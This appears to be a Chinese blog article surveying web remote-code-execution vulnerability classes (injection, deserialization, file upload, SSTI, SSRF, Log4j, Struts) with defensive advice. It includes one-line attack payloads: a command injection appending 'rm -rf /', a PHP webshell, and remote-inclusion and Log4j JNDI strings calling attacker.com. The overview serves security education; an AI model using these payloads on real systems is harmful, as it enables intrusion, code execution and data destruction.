当前位置: 首页 > news >正文

【Web RCE 漏洞常见类型】

Web RCE 漏洞常见类型

  • 1. 注入类漏洞
  • 2. 反序列化漏洞
  • 3. 文件处理漏洞
  • 4. 模板引擎漏洞
  • 5. 服务端请求伪造(SSRF)
  • 6. 框架/中间件漏洞
  • 7. 第三方组件漏洞
  • 8. 配置不当与协议滥用
  • 9. 其他边缘场景
  • 防御建议

以下是可以导致远程代码执行(RCE)的常见 Web 漏洞类型及示例,按类别分类整理:

1. 注入类漏洞

  • 命令注入
    用户输入直接拼接到系统命令中(如 ;|&&),攻击者注入恶意命令。
    示例:http://example.com/ping?ip=127.0.0.1;rm -rf /

  • 代码注入
    用户输入被动态执行(如 eval()exec())。
    示例:PHP 中 eval($_GET['code']) 允许执行任意 PHP 代码。

  • 表达式语言注入
    在 Java EL、OGNL 或 SpEL 中注入表达式。
    示例:Apache Struts 漏洞(如 S2-045)通过 OGNL 表达式执行代码。

2. 反序列化漏洞

  • 不安全反序列化
    反序列化未经验证的数据触发恶意逻辑。
    示例:Java 中 ObjectInputStream 反序列化恶意对象(如 Apache Commons Collections 漏洞)。

3. 文件处理漏洞

  • 文件上传漏洞
    上传恶意文件(如 .php.jsp)并访问触发执行。
    示例:上传 PHP WebShell(<?php system($_GET['cmd']); ?>)。

  • 远程文件包含(RFI)
    动态包含远程文件执行代码。
    示例:http://example.com/?page=http://attacker.com/shell.php

4. 模板引擎漏洞

  • 服务端模板注入(SSTI)
    用户输入嵌入模板引擎执行代码。
    示例:Jinja2 中 {{ 7*7 }} 测试,注入 {{ ''.__class__.__mro__[1].__subclasses__() }} 执行命令。

5. 服务端请求伪造(SSRF)

结合内部服务漏洞触发 RCE。
示例:通过 SSRF 攻击 Redis,写入计划任务或 WebShell。

6. 框架/中间件漏洞

  • 已知框架漏洞
    未修补的公开漏洞直接导致 RCE。
    示例:

    • Log4j(CVE-2021-44228):${jndi:ldap://attacker.com/exp}
    • Apache Struts(S2-045):OGNL 表达式注入。
    • Spring4Shell(CVE-2022-22965):通过数据绑定攻击。
  • Web 服务器漏洞
    示例:

    • Tomcat CVE-2017-12615:PUT 方法上传恶意 JSP。
    • Shellshock(CVE-2014-6271):通过 HTTP 头注入 Bash 命令。

7. 第三方组件漏洞

  • 依赖库漏洞
    使用含 RCE 漏洞的第三方库。
    示例:
    • Fastjson 反序列化漏洞(CVE-2022-25845)。
    • PHP 的 phar 反序列化。

8. 配置不当与协议滥用

  • 危险协议处理
    允许 gopher://file:// 等协议导致代码执行。
    示例:利用 PHP 的 file_put_contents('phar://...') 触发反序列化。

  • 启用危险函数
    PHP 配置中未禁用 exec()system() 等函数。

9. 其他边缘场景

  • HTTP 头注入
    结合服务器解析漏洞执行命令(如 Apache mod_cgi)。
  • 缓冲区溢出
    Web 服务底层组件(如旧版 IIS)存在溢出漏洞。

防御建议

  1. 对所有输入进行严格验证和过滤。
  2. 避免直接拼接用户输入到命令或代码中。
  3. 禁用危险函数(如 eval()system())。
  4. 及时更新框架、中间件和依赖库。
  5. 限制文件上传类型,并存储到不可执行目录。
  6. 配置安全的反序列化机制(如白名单验证)。

以上漏洞均可能直接或间接导致远程代码执行,实际利用需结合具体环境。建议通过渗透测试和自动化工具(如 DAST/SAST)持续检测。

相关文章:

  • [git]GIT提交带GPG签名改动到GITEE的配置方法
  • 骁勇善战的量化利器:多因子模型【量化理论】
  • Vue 中单向数据流原则
  • 2025-spring boot 之多数据源管理
  • HyperGraph(超图)
  • 【Redis数据结构】ziplist 压缩列表
  • nginx 反向代理 配置请求路由
  • 【网络编程】广播和组播
  • 【RK3588嵌入式图形编程】-SDL2-构建交互式按钮
  • 基于python+django的宠物商店-宠物管理系统源码+运行步骤
  • J4打卡—— ResNet 和 DenseNet结合实现鸟类分类
  • 用AI写游戏3——deepseek实现kotlin android studio greedy snake game 贪吃蛇游戏
  • 【quicker】调节PPT指定字号字体大小/快速调节WPS的PPT字体大小
  • 三级分类bug解决
  • 作用域的知识点总结
  • Day6 高精度加减算法+洛谷讲解
  • 开源RAG主流框架有哪些?如何选型?
  • 算法系列之分治算法
  • 从底层驱动到 OpenCV:深入解析 Linux 摄像头完整技术栈
  • 安全生产月安全知识竞赛主持稿串词
  • 马上评丨准入壁垒越少,市场活力越足
  • 违规行为屡禁不止、责任边界模糊不清,法治日报:洞穴探险,谁为安全事故买单?
  • 83岁连丽如每周登台说书,还上了15堂连派评书课
  • 王沪宁主持召开全国政协主席会议
  • 宜昌打造“算力之都”:产业链快速延伸,追逐千亿级产值
  • 怒江州委常委、泸水市委书记余剑锋调任云南省委省直机关工委副书记